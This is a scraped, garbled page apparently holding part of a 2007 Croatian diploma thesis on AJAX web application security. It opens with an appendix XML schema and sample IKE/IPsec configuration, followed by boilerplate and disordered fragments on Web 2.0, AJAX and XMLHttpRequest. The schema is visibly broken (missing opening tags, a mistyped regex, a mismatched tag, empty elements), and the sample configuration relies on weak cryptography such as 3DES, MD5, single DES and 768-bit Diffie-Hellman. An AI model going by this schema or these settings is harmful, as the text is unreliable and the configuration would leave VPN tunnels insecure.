</complexType>
<simpleType name="ipAddressType">
<restriction base="string">
<pattern value="(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[09]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|
0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|
2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])" />
</restriction>
</simpleType>
<simpleType name="portRangeType">
<pattern value="any|([0-9]+)|(([0-9]+)\-([0-9]+))" />
</restriction>
</simpleType>
<simpleType name="interfaceType">
<pattern value="[a-z][a-z][a-z][0-9]" />
</restriction>
</simpleType>
<complexType name="RemoteEntry">
<sequence>
<choice>
<sequence>
<element name="IPAddress" type="WEBIke:ipAddressType"
/>
<element name="Port" type="WEBIke:portRangeType" />
</sequence>
<element name="Anonymous" type="string" fixed="anonymous" />
</choice>
<element name="Identifier" type="string" />
<element name="NATT" type="WEBIke:NATTOptions" />
<element name="Policy" type="WEBIke:PolicyOptions" />
100
<element name="Authentication" type="WEBIke:AuthOptions" />

<element name="Lifetime" type="WEBIke:secondsType" />
<element name="Proposal" type="WEBIke:ProposalOptions" />
</sequence>
</complexType>
<complexType name="NATTOptions">
<sequence>
<element name="OnOff" type="WEBIke:natType" />
</sequence>
</complexType>
<simpleType name="secondsType">
<pattern value="([0-9]+) s" />
</restriction>
</simpleType>
<simpleType name="natType">
<pattern value="on|off|force" />
</restriction>
</simpleType>
<complexType name="PolicyOptions">
<sequence>
<element name="GeneratePolicy" type="WEBIke:policyType" />
</sequence>
</complexType>
<simpleType name="policyType">
<pattern value="on|off" />
</restriction>
</simpleType>
<complexType name="AuthOptions">
<sequence>
<element name="AuthMethod" type="WEBIke:AuthMethod" />
</sequence>
</complexType>
<complexType name="AuthMethod">
<choice>
<element name="Certificates" type="WEBIke:CertAuth"
maxOccurs="unbounded" />
<element name="EAP" type="WEBIke:EAPAuth" />
<element name="PSK" type="WEBIke:PSKAuth" maxOccurs="unbounded" />
</choice>
</complexType>
<complexType name="CertAuth">
<sequence>
<element name="CAtype" type="string" />
<element name="CApath" type="string" />
<element name="CERTtype" type="string" />
<element name="CERTpath" type="string" />
<element name="KEYpath" type="string" />
</sequence>
</complexType>
<complexType name="EAPAuth">
<sequence>
<element name="RadiusServer" type="string" />
</sequence>
</complexType>
<sequence>
<element name="PSKpath" type="string" />
</sequence>
</complexType>
<complexType name="ProposalOptions">
<sequence>
101
<element name="Encryption" type="WEBIke:EncAlg" />

<element name="Hash" type="WEBIke:HashAlg" />
<element name="Lifetime" type="WEBIke:secondsType" />
<element name="DH" type="WEBIke:DHtype" />
</sequence>
</complexType>
<simpleType name="encalgType">
<pattern value="des|3des|dev_iv32|des_iv64|rc5|rc4|idea|3idea|
cast128|blowfish|null_enc|twofish|rijndael|aes" />
</restriction>
</simpleType>
<simpleType name="DHtype">
<pattern value="modp768|modp1024|modp1536|modp2048|modp3072|
modp4096|modp6144|modp8192" />
</restriction>
</simpleType>
<complexType name="EncAlg">
<sequence>
<element name="Algorithm" type="WEBIke:encalgType" />
</sequence>
</complexType>
<simpleType name="hashalgType">
<pattern value="md5|sha1|sha256|sha384|sha512" />
</restriction>
</simpleType>
<complexType name="HashAlg">
<sequence>
<element name="Algorithm" type="WEBIke:hashalgType" />
</sequence>
</complexType>
<complexType name="SAEntry">
<sequence>
<choice>
<element name="Tunnel" type="WEBIke:TunnelOptions" />
<element name="Anonymous" type="string" fixed="anonymous"/>
</choice>
<element name="Encryption" type="WEBIke:EncAlg" />
<element name="Authentication" type="WEBIke:AuthAlg"/>
<element name="PFS" type="WEBIke:DHtype"/>
</sequence>
</complexType>
<complexType name="TunnelOptions">
<sequence>
<element name="LocalTunnelEndpoint" type="WEBIke:TunnelEndpoint" />
<element name="RemoteTunnelEndpoint" type="WEBIke:TunnelEndpoint"
/>
</sequence>
</complexType>
<complexType name="TunnelEndpoint">
<sequence>
<element name="IPAddress" type="WEBIke:ipAddressType" />
</sequence>
</complexType>
<complexType name="AuthAlg">
<sequence>
<element name="Algorithm" type="WEBIke:authalgType" />
</sequence>
</complexType>
<simpleType name="authalgType">
<pattern value="des|3des|dev_iv32|des_iv64|hmac_md5|hmac_sha1|
102
hmac_sha256|hmac_sha384|hmac_sha512|non_auth" />
</restriction>
</simpleType>
</schema>
103
Dodatak B - Primjer XML generike konfiguracije

<?xml version="1.0" encoding="UTF-8"?>
<WEBIke:IKE xmlns:WEBIke="http://www.example.org/NewXMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="schema.xsd">
<IPSec>
<Local>
<LocalAddress>192.168.1.1</LocalAddress>
<LocalInterface>eth0</LocalInterface>
<LocalPort>any</LocalPort>
<LocalID>myID@fer.hr</LocalID>
</Local>
<Remote>
<IPAddress>192.168.2.2</IPAddress>
<Port>any</Port>
<Identifier>peer1ID@fer.hr</Identifier>
<NATT>
<OnOff>on</OnOff>
<Port>500</Port>
</NATT>
<Policy>
<GeneratePolicy>on</GeneratePolicy>
</Policy>
<Authentication>
<AuthMethod>
<PSK>
<PSKpath>/etc/psk.txt</PSKpath>
</PSK>
</AuthMethod>
</Authentication>
<Lifetime>3600 s</Lifetime>
<Proposal>
<Encryption>
<Algorithm>3des</Algorithm>
</Encryption>
<Hash>
<Algorithm>md5</Algorithm>
</Hash>
<DH>modp768</DH>
</Proposal>
</Remote>
<Remote>
<Anonymous>anonymous</Anonymous>
<Identifier>peer2ID@fer.hr</Identifier>
<NATT>
<OnOff>on</OnOff>
<Port>500</Port>
</NATT>
<Policy>
<GeneratePolicy>on</GeneratePolicy>
</Policy>
<Authentication>
<AuthMethod>
<Certificates>
<CAtype>x509</CAtype>
<CAapath>/etc/CA.crt</CApath>
<CERTtype>x509</CERTtype>
104
<CERTpath>/etc/CERT.crt</CERTpath>
<KEYpath>/etc/CERT.key</KEYpath>
</Certificates>
</AuthMethod>
</Authentication>
<Proposal>
<Encryption>
</Encryption>
<Hash>
<Algorithm>md5</Algorithm>
</Hash>
<DH>modp768</DH>
</Proposal>
</Remote>
<SA>
<Tunnel>
<LocalTunnelEndpoint>
<Port>any</Port>
</LocalTunnelEndpoint>
<RemoteTunnelEndpoint>
<Port>any</Port>
</RemoteTunnelEndpoint>
</Tunnel>
<Encryption>
</Encryption>
<Authentication>
<Algorithm>des</Algorithm>
</Authentication>
<PFS>modp768</PFS>
</SA>
<SA>
<Anonymous>anonymous</Anonymous>
<Encryption>
</Encryption>
<Authentication>
<Algorithm>des</Algorithm>
</Authentication>
<PFS>modp768</PFS>
</SA>
</IPSec>
</WEBIke:IKE>
105

Sigurnost Web Aplikacija Zasnovanih Na AJAX Tehnologiji

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Sigurnost Web Aplikacija Zasnovanih Na AJAX Tehnologiji

Uploaded by

Copyright:

Available Formats

SVEUILITE U ZAGREBU

FAKULTET ELEKTROTEHNIKE I RAUNARSTVA

DIPLOMSKI RAD br. 1656

Sigurnost Web aplikacija zasnovanih na

Zagreb, srpanj 2007.

Zahvaljujem svima koji su mi na bilo koji nain pomogli

3.4.6. Automatsko ubacivanje skripti s drugih domena.............................................. 43

Arhitektura sudjelovanja i demokracije koja potie korisnika da dodaje vrijednost aplikaciji

Bogato i interaktivno suelje bazirano je na AJAX-u ili slinim tehnologijama;

Aspekti mrenog druenja su esto zastupljeni.

Kompleksna i razvijajua tehnologija infrastrukture Web-a 2.0 ukljuuje posluiteljske programe,

Bogate internet aplikacije, veinom bazirane na AJAX-u;

CSS (engl. Cascading Style Sheets);

Semantiki valjan XHTML;

Udruivanje i skupljanje podataka u RSS/Atom formatu;

isti i jasni URL-ovi;

Izraena upotreba folksonomija (engl. folksonomy, drutvena mrena okruenja za razmjenu

Koritenje wiki aplikacija (djelomino ili potpuno);

Potpuno ili djelomino koritenje otvorenog kda;

Mashup aplikacije koje kombiniraju sadraj s vie izvora u integrirano iskustvo;

REST ili XML Web usluge.

Asynchronous JavaScript and XML (Asinkroni JavaScript i XML)

Advanced JavaScript and XML (Napredni JavaScript i XML).

prezentacijski sloj Web aplikacije stvoren koritenjem XHTML-a i CSS-a;

dinamiki prikaz i interakcija koritenjem DOM-a;

izmjena podataka i manipulacija koritenjem XML-a i pripadnih tehnologija;

asinkroni prihvat podataka koritenjem XMLHttpRequest objekta;

JavaScript koji povezuje sve gore navedeno.

2.1. Model Web aplikacije

Slika 2.1. Tradicionalni i AJAX model Web aplikacija

Ono to se vrlo znaajno u interakciji s korisnikom, a da bi se postigla osjetljivost aplikacije na

Slika 2.2: Prijenos podataka u tradicionalnom i AJAX modelu Web aplikacija

provjera unosa u formular da bi se osigurala ispravnost unosa prije slanja posluitelju;

onemogueno izvoenje JavaScript-a;

vizualnu ili drugu nesposobnost te koriste nestandardni preglednik, kao to je govorni

2.3. XMLHttpRequest objekt

abort () - otkaz trenutnog zahtjeva;

getAllResponseHeaders() - metoda vraa sva polja koja se pojavljuju u zaglavlju HTTP

getResponseHeader (headerName) metoda vraa vrijednost specificiranog polja HTTP

open (method, URL)

URL relativna ili potpuna URL adresa,

setRequestHeader(label, value) metoda koja dodaje par naziv-vrijednost zaglavlju HTTP

Osim metoda, objekt ima i neke osobine, a to su:

readyState specificira stanje objekta prema sljedeim vrijednostima:

responseText daje vrijednost odgovora u tekstualnom obliku;

Mozilla projekt je prvu kompatibilnu implementaciju XMLHttpRequest objekta predstavio 2002.

Level 0 Aplikacija podrava djelomino dokumentirani prijelazni model poznat prije

Level 2 Podrka za XML prostor imena, filtrirani pogledi i dogaaji;

Level 3 Ovaj nivo se sastoji od est razliitih specifikacija:

specifikacije je podrana u svim standardnim preglednicima, to ukljuuje Microsoft Internet

Postoje dvije vrste ispravnosti u XML dokumentu:

ureen (engl. well-formed) je dokument koji se pridrava pravila XML sintakse. Na

Number broj (cjelobrojni, realni, decimalni);

Boolean (true ili false);

Array polje, niz poredanih vrijednosti, odvojenih zarezom i ogranienih uglatim

Object objekt, skup parova ime/vrijednost, odvojenih zarezom i ogranienih vitiastim

null nedefinirana vrijednost.

Tada polja kao to su p.firstName, p.address.city i p.phoneNumbers[0] postaju dostupna.

2.7. Primjeri AJAX poziva

2.7.1. Dohvat HTML-a i umetanje u DOM stablo

Slika 2.3: Izgled prozora preglednika prije AJAX poziva

Nakon klika, stranica izgleda kao na slici 2.4.

Slika 2.4: Izgled prozora preglednika nakon AJAX poziva

2.7.2. Dohvat XML-a i manipulacija